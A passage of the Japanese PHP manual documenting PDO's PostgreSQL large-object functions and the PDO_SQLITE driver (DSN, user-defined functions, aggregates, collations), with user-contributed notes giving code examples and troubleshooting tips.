ラージオブジェクトの大きさは最大 2GB まで拡大できますが、扱い方はめんどうです。 オブジェクトの OID を参照している行をデータベースから削除する際には、 必ず事前に PDO::pgsqlLOBUnlink() がコールされていなければなりません。 さらに、ラージオブジェクトにはアクセス権の設定がありません。 ラージオブジェクトの代替策として、bytea 型のカラムも検討ください。 最近のバージョンの PostgreSQL では bytea 型のカラムに最大 1GB まで保存でき、行サイズを最適化したうえでデータを透過的に扱うことができます。

注意: この関数は、トランザクション内でコールしなければなりません。

パラメータ

PDO::pgsqlLOBCreate() は、パラメータを受け取りません。

返り値

新しく作成されたラージオブジェクトの OID、あるいは失敗した場合に false を返します。

例

例1 PDO::pgsqlLOBCreate() の例

この例では、新しいラージオブジェクトを作成し、 ファイルの内容をそこにコピーします。その後、OID がテーブルに保存されます。

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$oid = $db->pgsqlLOBCreate();
$stream = $db->pgsqlLOBOpen($oid, 'w');
$local = fopen($filename, 'rb');
stream_copy_to_stream($local, $stream);
$local = null;
$stream = null;
$stmt = $db->prepare("INSERT INTO BLOBS (ident, oid) VALUES (?, ?)");
$stmt->execute(array($some_id, $oid));
$db->commit();
?>

参考

  • PDO::pgsqlLOBOpen() - 既存のラージオブジェクトのストリームをオープンする
  • PDO::pgsqlLOBUnlink() - ラージオブジェクトを削除する
  • pg_lo_create() - ラージオブジェクトを生成する

User Contributed Notes

Hayley Watson 02-Aug-2018 09:52
If you're not plausibly going to be storing more than 1GB of binary data in a single field, you might as well use the normal bytea type instead of LOBbing it.

They won't bloat the table as PostgreSQL would store the larger byte streams outside the table anyway (as Large Object storage does, only transparently) - including compressing them if it helps - while retaining all the binary string functions and operators.
mauroi at digbang dot com 03-Apr-2006 09:38
IMHO, there's a better way to handle the deletion of lob objects than the suggested here. The programmer can easily forget to unlink the lob. With the following trigger, no programmer actions are required.
By the way, one problem with bytea fields is that when you query the database, if you ask for that field, the data is actually retrieved. When you query for and oid, only the oid is retrieved and then you can open the lob whenever you want (if it's required).

CREATE OR REPLACE FUNCTION oidtable_after_update_delete()
  RETURNS "trigger" AS
$BODY$
BEGIN
     IF (TG_OP = 'UPDATE') THEN
        IF (OLD.oidfield = NEW.oidfield) OR (OLD.oidfield IS NULL) THEN
           RETURN NEW;
        END IF;
     END IF;
     IF (EXISTS (SELECT 1 FROM pg_largeobject WHERE loid = OLD.oidfield)) THEN
        PERFORM LO_UNLINK (OLD.oidfield);
     END IF;
     RETURN NEW;
END;
$BODY$
  LANGUAGE 'plpgsql' VOLATILE;

CREATE TRIGGER oidtable_after_update_delete
  AFTER UPDATE OR DELETE
  ON oidtable
  FOR EACH ROW
  EXECUTE PROCEDURE oidtable_after_update_delete();


既存のラージオブジェクトのストリームをオープンする

  • ≪ PDO::pgsqlLOBCreate
  • PDO::pgsqlLOBUnlink ≫
  • PHP Manual
  • PostgreSQL (PDO)
  • 既存のラージオブジェクトのストリームをオープンする

PDO::pgsqlLOBOpen

(PHP 5 >= 5.1.2, PHP 7, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBOpen — 既存のラージオブジェクトのストリームをオープンする

説明

public PDO::pgsqlLOBOpen ( string $oid , string $mode = "rb" ) : resource|false

PDO::pgsqlLOBOpen() は、oid が指すデータにアクセスするためのストリームをオープンします。 mode が r の場合、 ストリームは読み込み用にオープンされます。 mode が w の場合、 ストリームは書き込み用にオープンされます。 fread()、fwrite() および fgets() のような通常のファイルシステム関数を使用して、 ストリームの内容を操作することができます。

注意: この関数およびラージオブジェクトに対するすべての操作は、 トランザクション内で処理される必要があります。

パラメータ

oid

ラージオブジェクトの ID。

mode

モードが r の場合、読み込み用のストリームをオープンします。 モードが w の場合、書き込み用のストリームをオープンします。

返り値

成功した場合にストリームリソース、失敗した場合に false を返します。

例

例1 PDO::pgsqlLOBOpen() の例

PDO::pgsqlLOBCreate() の例に引き続き、 このコード片はデータベースからラージオブジェクトを取得して それをブラウザに出力します。

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$stmt = $db->prepare("select oid from BLOBS where ident = ?");
$stmt->execute(array($some_id));
$stmt->bindColumn('oid', $oid, PDO::PARAM_STR);
$stmt->fetch(PDO::FETCH_BOUND);
$stream = $db->pgsqlLOBOpen($oid, 'r');
header("Content-type: application/octet-stream");
fpassthru($stream);
?>

参考

  • PDO::pgsqlLOBCreate() - 新しいラージオブジェクトを作成する
  • PDO::pgsqlLOBUnlink() - ラージオブジェクトを削除する
  • pg_lo_open() - ラージオブジェクトをオープンする

User Contributed Notes

binaryexp at gmail 05-Mar-2009 04:54
This is what worked for me. If you have the oid, then all you need to do is:

<?php
$pdo = new PDO($dsn, $user, $pass);
$pdo->beginTransaction();
$data = $pdo->pgsqlLOBOpen($oid, 'r');

header("Content-Type: $mime");
// any other headers...

fpassthru($data);  // echo stream_get_contents($data); also works
?>

The beginTransaction() is required, if you want to $pdo->commit() (it's not required) then do it after the fpassthru.

On a side note, those using Zend Framework can call getConnection() on the standard PDO database object which will get them the $pdo object as above. Then just remember to disableLayout() and setNoRender() as necessary.
knl at bitflop dot com 25-Sep-2008 05:54
Also remember that fread() will only parse the first 8192 bytes from the stream. Use..

<?php
$data = stream_get_contents($stream);
?>

.. if you have a larger output to parse.
knl at bitflop dot com 25-Sep-2008 03:20
The above example is missing some data. After spending several hours trying to get it to work in vain, Jeff Davis from the PostgreSQL channel on IRC (freenode) figured out what was missing.

The below example will work, but you have to insert the MIME type and file size of the large object that you are storing, so you can use that data for extraction.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$stmt = $db->prepare("SELECT oid, blob_type, filesize FROM BLOBS WHERE ident = ?");
$stmt->execute(array($some_id));
$stmt->bindColumn('oid', $lob, PDO::PARAM_LOB);
$stmt->bindColumn('blob_type', $blob_type, PDO::PARAM_STR);
$stmt->bindColumn('filesize', $filesize, PDO::PARAM_STR);
$stmt->fetch(PDO::FETCH_BOUND);
$stream = $pdo->pgsqlLOBOpen($lob, 'r');
$data = fread($stream, $filesize);
header("Content-type: $blob_type");
echo $data;
?>

Also fpassthru() will just give this result: Warning: fpassthru(): supplied argument is not a valid stream resource in ...

Use echo or print instead.


ラージオブジェクトを削除する

  • ≪ PDO::pgsqlLOBOpen
  • SQLite (PDO) ≫
  • PHP Manual
  • PostgreSQL (PDO)
  • ラージオブジェクトを削除する

PDO::pgsqlLOBUnlink

(PHP 5 >= 5.1.2, PHP 7, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBUnlink — ラージオブジェクトを削除する

説明

public PDO::pgsqlLOBUnlink ( string $oid ) : bool

OID が指すラージオブジェクトをデータベースから削除します。

注意: この関数は、トランザクション内でコールしなければなりません。

パラメータ

oid

ラージオブジェクトの ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 PDO::pgsqlLOBUnlink() の例

PDO::pgsqlLOBCreate() および PDO::pgsqlLOBOpen() の例で使用した blob テーブルからラージオブジェクトを参照している行を削除する前に、 この例ではラージオブジェクトをデータベースから削除します。

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$db->pgsqlLOBUnlink($oid);
$stmt = $db->prepare("DELETE FROM BLOBS where ident = ?");
$stmt->execute(array($some_id));
$db->commit();
?>

参考

  • PDO::pgsqlLOBOpen() - 既存のラージオブジェクトのストリームをオープンする
  • PDO::pgsqlLOBCreate() - 新しいラージオブジェクトを作成する

User Contributed Notes

There are no user contributed notes for this page.


SQLite 関数 (PDO_SQLITE)

はじめに

PDO_SQLITE は、PHP から SQLite 2 や SQLite 3 データベースへのアクセスを可能にするための PHP Data Objects (PDO) インターフェイス を実装したドライバです。

注意:

PDO_SQLITE は、文字列と PDO::PARAM_LOB のストリームを区別して使うことができます。

インストール手順

PDO_SQLITE PDO ドライバはデフォルトで有効になります。無効にするには --without-pdo-sqlite[=DIR] を使います。 オプションの [=DIR] は sqlite の基底インストールディレクトリです。 PHP 7.4.0 以降では、» libsqlite ? 3.5.0 が必須です。 それより前のバージョンでは、[=DIR] が省略された場合は バンドル済みの libsqlite が代わりに使われていましたし、 またそれがデフォルトでした。

注意: PHP 7.4.0 以降の、Windows における追加セットアップ

この拡張モジュールを動作させるには、 Windows システムの PATH が通った場所に DLL ファイルが存在する必要があります。 FAQ の "Windows で PHP のディレクトリを PATH に追加するにはどうすればいいのですか?" で、その方法を説明しています。 DLL ファイルを PHP のフォルダから Windows のシステムディレクトリにコピーしても動作します (システムディレクトリは、デフォルトで PATH に含まれるからです) が、これは推奨しません。 この拡張モジュールを使用するには、以下のファイルが PATH の通った場所にある必要があります。 libsqlite3.dll.

目次

  • PDO_SQLITE DSN — SQLite データベースに接続する
  • PDO::sqliteCreateAggregate — SQL 文で使用する集約ユーザー定義関数 (UDF) を登録する
  • PDO::sqliteCreateCollation — SQL文で collate 関数として使うユーザー定義関数を登録する
  • PDO::sqliteCreateFunction — SQL 文で使用するユーザー定義関数 (UDF) を登録する

User Contributed Notes

ohcc at 163 dot com 04-Sep-2020 03:19
With PDO SQLite driver, calculation within an SQL with multiple ? may not get results as you expect.

<?php
// ....
$stmt = $PDO->prepare('SELECT * FROM `X` WHERE `TimeUpdated`+?>?');
$stmt->execute([3600, time()]);
$data = $stmt->fetchAll();
print_r($data);
?>

To get the right results, you have more than 3 solutions.

1. Change 'SELECT * FROM `X` WHERE `TimeUpdated`+?>?' to 'SELECT * FROM `X` WHERE `TimeUpdated`>?' and do the math using Php (ie: $stmt->execute([time()-3600]); ).

2. Use PdoStatement::bindParam or PdoStatement::bindValue, and set the parameter type to PDO::PARAM_INT.

3. Change 'SELECT * FROM `X` WHERE `TimeUpdated`+?>?' to 'SELECT * FROM `X` WHERE `TimeUpdated`+?>?+0', here '?+0' may be replaced by another math function or another calculation, such as 'abs(?)', you can even wrap both ? with a math calculation.
chrislangton84 at gmail dot com 13-Mar-2016 02:28
This page has been out of date for some time - Installation specifically.

As of PHP 5.4 sqlite is no longer part of PHP and in only available through PECL
tris dot php at tfconsulting dot com dot au 15-May-2014 04:34
After wrestling with "General error: 5 database is locked" errors for a highly concurrent project I finally wrapped the PDO transaction code with a semaphore.  No errors since...

Obviously only works if all processes use the subclass and wrap database modifying statements in beginTransaction() .. commit().  The same could be achieved with flock() if semaphore is not available on your system but will be slower.

<?php
class SQLitePDO extends PDO {
    function __construct($filename) {
        $filename = realpath($filename);
        parent::__construct('sqlite:' . $filename);

        $key = ftok($filename, 'a');
        $this->sem = sem_get($key);
    }

    function beginTransaction() {
        sem_acquire($this->sem);
        return parent::beginTransaction();
    }

    function commit() {
        $success = parent::commit();
        sem_release($this->sem);
        return $success;
    }

    function rollBack() {
        $success = parent::rollBack();
        sem_release($this->sem);
        return $success;
    }
}
?>
nospam8715 at dririan dot com 10-Nov-2012 09:22
Instead of compiling an old version of SQLite to create a database using an older database format that the version of SQLite bundled with PDO can handle, you can (much more easily) just run the query "PRAGMA legacy_file_format = TRUE;" BEFORE creating the database (if you have an existing database, run ".dump" from the sqlite shell on your database, run the sqlite shell on a new database, run the PRAGMA, then paste the contents of the .dump). That will ensure SQLite creates a database readable by SQLite 3.0 and later.
gopal at gopalarathnam dot com 27-Mar-2007 02:36
If you get an error reporting "invalid resource" when trying to query the database table and looping through it, the version of the SQLite extension compiled in to PHP might be incompatible with the version that had created the database (like SQLite 2.x vs 3.x).

The database open itself might be successful, failing only when querying.

$dbh = new PDO('sqlite:/tmp/foo.db'); // success
foreach ($dbh->query('SELECT * FROM bar') as $row) // prints invalid resource
    // ...
gmac63 at charter dot net 10-Aug-2006 07:38
Issue:
Error: SQLSTATE[HY000]: General error: 1 unsupported file format

Resolution:
To solve this (and/or many issues) involving this type of error, I assumed the error to be generated from php. Well, it was to an extent. The sqlite pdo code offered the solution:

I researched the error by grep'ing the php source code and found the error string to come from php-5.1.4/ext/pdo_sqlite/sqlite/src/prepare.c, lines 265:278 :

/*
 ** file_format==1    Version 3.0.0.
 ** file_format==2    Version 3.1.3.
 ** file_format==3    Version 3.1.4.
 **
 ** Version 3.0 can only use files with file_format==1. Version 3.1.3
 ** can read and write files with file_format==1 or file_format==2.
 ** Version 3.1.4 can read and write file formats 1, 2 and 3.
 */
 if( meta[1]>3 ){
   sqlite3BtreeCloseCursor(curMain);
   sqlite3SetString(pzErrMsg, "unsupported file format", (char*)0);
   return SQLITE_ERROR;
 }

This is interesting as I am running SQLite version 3.3.5 which the databases were created in. I see that the SQLite PDO source in the php source is :
      # cat ext/pdo_sqlite/sqlite/VERSION
       3.2.8

My solution was then to find a version of sqlite that was =< 3.1.4. I found source for 3.1.3, compiled, recreated my database using that version (NOTE: the databases are unsupported between 3.1.x and 3.2.x versions of SQLite). Once I did this it worked.

Also as a side note, to get SQLite compiled as a PDO, I had to:

1) configure with
...
--enable-pdo=shared \
--with-sqlite=shared \
--with-pdo-sqlite=shared
--with-zlib
... \
'make && make install' if configure is successful.

2) Make sure the pdo libs were copied/installed to the correct directory. On my installation it was /usr/local/include/php/ext/pdo/

3) Make these changes in my php.ini:
  - change ' extension_dir = "./" ' to ' extension_dir="/usr/local/include/php/ext/pdo/" '
  - add/edit in this order:
      extension=pdo.so
      extension=pdo_sqlite.so
      extension=sqlite.so

4) test php with : 'php -m' at the command line and solve any issues from there. Mostly php.ini config issues. Also restart the http service!
Duffalo 06-Jul-2006 04:41
Note that as of the date of this post, PDO_SQLITE will not interact with database files created with the current version of the SQLite console application, sqlite-3.3.6.

It is currently necessary to obtain version 3.2.8, available from http://www.sqlite.org/ but only by entering the URI manually, as there is no link. Go to http://www.sqlite.org/download.html and find the URI of the version you're looking for, then make the appropriate version number substitution.
aidan at php dot net 01-Oct-2005 02:36
If you receive an error while trying to write to a sqlite database (update, delete, drop):

Warning: PDO::query() [function.query]: SQLSTATE[HY000]: General error: 1 unable to open database

The folder that houses the database file must be writeable.


SQLite データベースに接続する

  • ≪ SQLite (PDO)
  • PDO::sqliteCreateAggregate ≫
  • PHP Manual
  • SQLite (PDO)
  • SQLite データベースに接続する

PDO_SQLITE DSN

(PHP 5 >= 5.1.0, PHP 7, PECL PDO_SQLITE >= 0.2.0)

PDO_SQLITE DSN — SQLite データベースに接続する

説明

PDO_SQLITE データソース名 (DSN) は以下の要素で構成されます:

DSN 接頭辞 (SQLite 3)

DSN 接頭辞は sqlite: です。

  • ディスク上のデータベースにアクセスするには、 DSN 接頭辞に絶対パスを付加してください。

  • メモリ内にデータベースを生成するには、 DSN 接頭辞に :memory: を付加してください。

  • DSN がDSN接頭辞のみの場合、一時的なデータベースが作られます。 これは、接続が閉じられると削除されます。

例

例1 PDO_SQLITE DSN の例

以下の例は、SQLite データベースへの接続するための PDO_SQLITE DSN を表します:

sqlite:/opt/databases/mydb.sq3
sqlite::memory:
sqlite:

User Contributed Notes

Anonymous 04-Sep-2020 12:51
here is the example i prefer myself, in my opinion, this is almost always "the correct way" to do it:

<?php

$db = new \PDO('sqlite:/path/to/db_file.sqlite3', '', '', array(
    \PDO::ATTR_EMULATE_PREPARES => false,
    \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION,
    \PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC
));
casteele at g-m-a-i-l ( dot ) c-o-m 25-Feb-2016 10:32
Some notes that may or may not be obvious..

In general, when using an in-memory (:memory:) database from within a PHP script (such as code in an index.php file for a web server), the memory used for the database exists only as long as the PHP code is running. Usually, this is only as long as it takes to deliver output back to the web server trying to serve the web page to the client. There is no way (that I know of, please correct me if I'm wrong) to share an in-memory database across different web connections, including different multiple connections from the same client. *This does include "persistent" connections.* The reason for this is because in-memory databases *are* in-memory databases, and the memory allocated by the web server/PHP processor is allocated and released "on the fly". Otherwise, web servers which serve thousands of web pages would quickly consume all available memory (and swap space), and come to a grinding halt when the system no longer has available memory to handle more requests.

If you need to share data across sessions, connections, or scripts, you'll need to use a database file in a folder/directory which is *writable* by the web server/PHP extension, as SQLite3 may use some temporary files while working with the database. (In my Debian Linux installation, this is the "www-data" psuedo-user/group.) (You can consult the SQLite3 documentation if you wish to know what temporary files it uses; They are well-documented.)

In short, it is a _logical_error_ to think of in-memory databases as anything other than very short-term temporary databases. They may be useful if you only wish to work with a subset of a larger database within *a single web page, AND only while the PHP script is generating the web page*. That is, you cannot use in-memory databases to store a user's "shopping cart", for example, because a shopping cart would still need to load many different web pages, invoking many different PHP scripts, each with their own memory space. Likewise, once PHP has generated the output of the web page for the server to send on to the client, PHP is no longer "part of the picture", and any memory it had allocated may be freed for other uses--including your in-memory database.

This is not a limitation of the web server, PHP, or SQLite, but of how operating systems work in general to share limited resources (such as memory) between processes/users/connections/et cetera.
frederic dot glorieux at diple dot net 10-Aug-2011 03:20
In memory sqlite has some limitations. The memory space could be the request, the session, but no way seems documented to share a base in memory among users.

For a request, open your base with the code
$pdo = new PDO( 'sqlite::memory:');
and your base will disapear on next request.

For session persistency
<?php
$pdo = new PDO(
    'sqlite::memory:',
    null,
    null,
    array(PDO::ATTR_PERSISTENT => true)
);
?>
FST777 21-Apr-2008 05:27
@ Fatmoon
That is correct. SQLite sometimes uses additional files in the same folder while writing to the DB. These files can sometimes be seen and usually contain the name of your DB and the word 'journal' in their filename.
Security wise, it might be a good idea to store the SQLite databases in a seperate folder to shield the rest from user www.
Fatmoon 20-Apr-2008 07:42
It seems that the directory that contains your sqlite database must be writeable by the web server. Making just the file writeable won't work.
rick 30-Oct-2006 10:51
Don't forget "extension=php_pdo_sqlite.dll" has to be enabled in php.ini (if you use xampp is will be disabled by default) .


SQL 文で使用する集約ユーザー定義関数 (UDF) を登録する

  • ≪ PDO_SQLITE DSN
  • PDO::sqliteCreateCollation ≫
  • PHP Manual
  • SQLite (PDO)
  • SQL 文で使用する集約ユーザー定義関数 (UDF) を登録する

PDO::sqliteCreateAggregate

(PHP 5 >= 5.1.0, PHP 7, PECL pdo_sqlite >= 1.0.0)

PDO::sqliteCreateAggregate — SQL 文で使用する集約ユーザー定義関数 (UDF) を登録する

説明

public PDO::sqliteCreateAggregate ( string $function_name , callable $step_func , callable $finalize_func , int $num_args = ? ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

このメソッドは PDO::sqliteCreateFunction と似ていますが、 この関数で登録した関数は、クエリのすべての行の内容を集約する関数を登録します。

この関数と PDO::sqliteCreateFunction の最大の違いは、 集約関数を作成するためには 2 つの関数が必要であるということです。

パラメータ

function_name

SQL 文で使用する関数の名前。

step_func

結果セットの各行についてコールされるコールバック関数。 この PHP 関数は、結果を蓄積して集約コンテキストに保存しなければなりません。

この関数は次のように定義しなければなりません。

step ( mixed $context , int $rownumber , mixed $value , mixed ...$values ) : mixed
context

最初の行では null 二行目以降では、ステップ関数から以前返された値を持ちます。 この値を、集約の状態を管理するのに使うべきです。

rownumber

現在の行番号

value

集約関数に渡されるはじめの引数

values

集約関数に渡されるふたつめ以降の引数

この関数の返り値を、次のステップあるいはファイナライズ関数の context 引数として使います。

finalize_func

すべての行が処理された後でコールされるコールバック関数。 ここでは、集約コンテキストからデータを取得して結果を返します。 コールバック関数の返す値は、SQLite が理解できる形式 (すなわち スカラー型) でなければなりません。

この関数は次のように定義しなければなりません。

fini ( mixed $context , int $rowcount ) : mixed
context

ステップ関数を最後に呼んだ時の戻り値を保持します。

rowcount

集約関数が実行された行数を保持します。

この関数の返り値が、集約の返り値となります。

num_args

コールバック関数があらかじめ定義済みの引数を受け取る場合に、 SQLite のパーサに渡すヒント。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 集約関数 max_length の例

<?php
$data = array(
   'one',
   'two',
   'three',
   'four',
   'five',
   'six',
   'seven',
   'eight',
   'nine',
   'ten',
   );
$db = new PDO('sqlite::memory:');
$db->exec("CREATE TABLE strings(a)");
$insert = $db->prepare('INSERT INTO strings VALUES (?)');
foreach ($data as $str) {
    $insert->execute(array($str));
}
$insert = null;

function max_len_step($context, $rownumber, $string)
{
    if (strlen($string) > $context) {
        $context = strlen($string);
    }
    return $context;
}

function max_len_finalize($context, $rownumber)
{
    return $context === null ? 0 : $context;
}

$db->sqliteCreateAggregate('max_len', 'max_len_step', 'max_len_finalize');

var_dump($db->query('SELECT max_len(a) from strings')->fetchAll());

?>

この例では、 テーブルのカラムの中で一番長い文字列の長さを計算する集約関数を作成します。 各行について max_len_step 関数がコールされ、 $context パラメータが渡されます。 このパラメータには、他の PHP 変数と同様に、配列やオブジェクトが設定されます。 この例では、これまでに登場した値のうち長さが最大のものの長さを保持しています。 $string が現在の最大値より長い場合に、 その値で現在の最大値を更新します。

すべての行に対する処理が終わると、SQLite は max_len_finalize 関数をコールして集約結果を決定します。 ここでは、$context の内容に基づいた、 なんらかの計算を行うことができます。 しかし、この例ではクエリを処理している過程で既に結果が決定しているので、 ここでは単に context の値を返しているだけです。

ヒント

結果の値を context に溜め込んでおき、最後に一括して処理するという方法は推奨 「しません」。これは、SQLite のメモリ消費量が大きくなるからです。 仮に 32 バイトの長さのデータが百万件あったとして、 それを溜め込むためにどれだけのメモリが必要になるか考えてみましょう。

ヒント

PDO::sqliteCreateFunction および PDO::sqliteCreateAggregate を使用して、 SQLite のネイティブ SQL 関数を上書きすることができます。

参考

  • PDO::sqliteCreateFunction
  • sqlite_create_function()
  • sqlite_create_aggregate()

User Contributed Notes

There are no user contributed notes for this page.


SQL文で collate 関数として使うユーザー定義関数を登録する

  • ≪ PDO::sqliteCreateAggregate
  • PDO::sqliteCreateFunction ≫
  • PHP Manual
  • SQLite (PDO)
  • SQL文で collate 関数として使うユーザー定義関数を登録する

PDO::sqliteCreateCollation

(PHP 5 >= 5.3.11, PHP 7)

PDO::sqliteCreateCollation — SQL文で collate 関数として使うユーザー定義関数を登録する

説明

public PDO::sqliteCreateCollation ( string $name , callable $callback ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

パラメータ

name

作成または再定義する SQL collate 関数の名前

callback

collation の振る舞いを定義する、PHP関数または、 コールバックとして適用するユーザー定義関数。 2つの値を受けとり、strcmp() 関数が返すのと同じ値を返します。つまり、 はじめの文字列が前の文字列より前にソートされる場合に-1、 後にソートされる場合に1、等しい場合に0を返します。

この関数は、次のように定義する必要があります:

collation ( string $string1 , string $string2 ) : int

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 PDO::sqliteCreateCollation() の例

<?php
$db = new PDO('sqlite::memory:');
$db->exec("CREATE TABLE test (col1 string)");
$db->exec("INSERT INTO test VALUES ('a1')");
$db->exec("INSERT INTO test VALUES ('a10')");
$db->exec("INSERT INTO test VALUES ('a2')");

$db->sqliteCreateCollation('NATURAL_CMP', 'strnatcmp');
foreach ($db->query("SELECT col1 FROM test ORDER BY col1") as $row) {
  echo $row['col1'] . "\n";
}
echo "\n";
foreach ($db->query("SELECT col1 FROM test ORDER BY col1 COLLATE NATURAL_CMP") as $row) {
  echo $row['col1'] . "\n";
}
?>

上の例の出力は以下となります。

a1
a10
a2

a1
a2
a10

User Contributed Notes

There are no user contributed notes for this page.


SQL 文で使用するユーザー定義関数 (UDF) を登録する

  • ≪ PDO::sqliteCreateCollation
  • ベンダー固有のモジュール ≫
  • PHP Manual
  • SQLite (PDO)
  • SQL 文で使用するユーザー定義関数 (UDF) を登録する

PDO::sqliteCreateFunction

(PHP 5 >= 5.1.0, PHP 7, PECL pdo_sqlite >= 1.0.0)

PDO::sqliteCreateFunction — SQL 文で使用するユーザー定義関数 (UDF) を登録する

説明

public PDO::sqliteCreateFunction ( string $function_name , callable $callback , int $num_args = -1 , int $flags = 0 ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

このメソッドを使用すると、 PHP の関数を、UDF (User Defined Function: ユーザー定義関数) として SQLite に登録できるようになります。 登録した関数は、SQL 文の中で使用することが可能です。

UDF は、関数をコールできるあらゆる SQL 文 (SELECT および UPDATE 文、そしてトリガなど) で使用することが可能です。

パラメータ

function_name

SQL 文で使用する関数の名前。

callback

定義した SQL 関数を処理するコールバック関数。

注意: コールバック関数の返す値は、SQLite が理解できる形式 (すなわち スカラー型) でなければなりません。

コールバック関数は、以下のように定義する必要があります:

callback ( mixed $value , mixed ...$values ) : mixed
value

SQL関数に渡す最初の引数

values

SQL関数に渡す2つ目以降の引数

num_args

SQL 関数がとる引数の数。 このパラメータが -1 の場合、 SQL 関数は任意の数の引数を取ることができます。

flags

ビット単位のフラグの組み合わせ。 現状は、PDO::SQLITE_DETERMINISTIC だけがサポートされています。 これは、単一のSQLステートメント内では、同じ入力に対して常に同じ結果を返すことを指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.1.4 | flags パラメータが追加されました。

例

例1 PDO::sqliteCreateFunction() の例

<?php
function md5_and_reverse($string)
{
    return strrev(md5($string));
}

$db = new PDO('sqlite:sqlitedb');
$db->sqliteCreateFunction('md5rev', 'md5_and_reverse', 1);
$rows = $db->query('SELECT md5rev(filename) FROM files')->fetchAll();
?>

この例では、文字列の md5 を計算してそれを反転させる関数を定義しています。 SQL 文が実行されると、filename をこの関数で変換した値が返されます。 $rows に返されるデータの中に、処理結果が含まれます。

この方法を使用すると、データを取得した後に foreach で結果をひとつひとつ処理していく必要がなくなり、美しいコードが記述できます。

ヒント

PDO::sqliteCreateFunction および PDO::sqliteCreateAggregate を使用して、 SQLite のネイティブ SQL 関数を上書きすることができます。

参考

  • PDO::sqliteCreateAggregate
  • sqlite_create_function()
  • sqlite_create_aggregate()

User Contributed Notes

RoboTamer 08-Aug-2012 10:50
groups looks like this '1,2,3,999'

<?php
/**
 * int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
 */
$dbUser = new PDO('sqlite:'.ROOT.'/var/db/users.db3');
$dbUser->sqliteCreateFunction('strpos', 'strpos', 2);
$sql = 'SELECT username FROM users WHERE strpos(groups,",2,");';
$rows = $dbUser->query($sql)->fetchAll(PDO::FETCH_ASSOC);
print_r($rows);

?>


ベンダー固有のモジュール

  • CUBRID
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • CUBRID 関数
    • CUBRID MySQL 互換関数
    • CUBRID 廃止されたエイリアスと関数
  • DB++
    • はじめに
    • インストール/設定
    • 定義済み定数
    • DB++ 関数
  • dBase
    • はじめに
    • インストール/設定
    • 定義済み定数
    • dBase 関数
  • filePro
    • はじめに
    • インストール/設定
    • 定義済み定数
    • filePro 関数
  • Firebird/InterBase
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Firebird/InterBase 関数
  • FrontBase
    • はじめに
    • インストール/設定
    • 定義済み定数
    • FrontBase 関数
  • IBM DB2 — IBM DB2、Cloudscape および Apache Derby
    • はじめに
    • インストール/設定
    • 定義済み定数
    • IBM DB2 関数
  • Ingres — Ingres DBMS, EDBC および Enterprise Access Gateways
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Ingres 関数
  • Mongo — MongoDB ドライバ (旧版)
    • インストール/設定
    • 定義済み定数
    • マニュアル
    • コアクラス群
    • 型
    • GridFS クラス群
    • Batch クラス群
    • その他
    • Mongo 関数
    • 例外
    • 変更履歴
  • MongoDB — MongoDB driver
    • インストール/設定
    • Tutorials
    • Driver Architecture and Internals — Explains the driver architecture, and special features
    • Security
    • MongoDB\Driver — MongoDB driver classes
    • MongoDB\BSON — BSON type classes and serialization functions
    • MongoDB\Driver\Monitoring — Monitoring classes and subscriber functions
    • MongoDB\Driver\Exception — Exception classes
  • MySQL — MySQL ドライバおよびプラグイン
    • MySQL 用 PHP ドライバの概要
    • MySQLi — MySQL 改良版拡張モジュール
    • Mysql_xdevapi
    • MySQL (最初の API) — 最初の MySQL API
    • Mysqlnd — MySQL Native Driver
    • mysqlnd_ms — Mysqlnd レプリケーションおよびロードバランシング用プラグイン
    • mysqlnd_qc — Mysqlnd クエリ結果キャッシュプラグイン
    • mysqlnd_uh — Mysqlnd user handler plugin
    • mysqlnd_mux — Mysqlnd connection multiplexing plugin
    • mysqlnd_memcache — Mysqlnd Memcache プラグイン
  • OCI8 — Oracle OCI8
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • OCI8 接続のハンドリングおよびプーリング
    • OCI8 高速アプリケーション通知 (FAN) サポート
    • OCI8 Transparent Application Failover (TAF) Support
    • OCI8 および DTrace 動的トレーシング
    • ドライバでサポートされるデータ型
    • OCI8 関数
    • OCICollection — OCICollection クラス
    • OCILob — OCILob クラス
    • OCI8 廃止されたエイリアスと関数
  • Paradox — Paradox ファイルアクセス
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Paradox 関数
  • PostgreSQL
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • PostgreSQL 関数
  • SQLite3
    • はじめに
    • インストール/設定
    • 定義済み定数
    • SQLite3 — SQLite3 クラス
    • SQLite3Stmt — SQLite3Stmt クラス
    • SQLite3Result — SQLite3Result クラス
  • SQLSRV — PHP 用 Microsoft SQL Server ドライバ
    • はじめに
    • インストール/設定
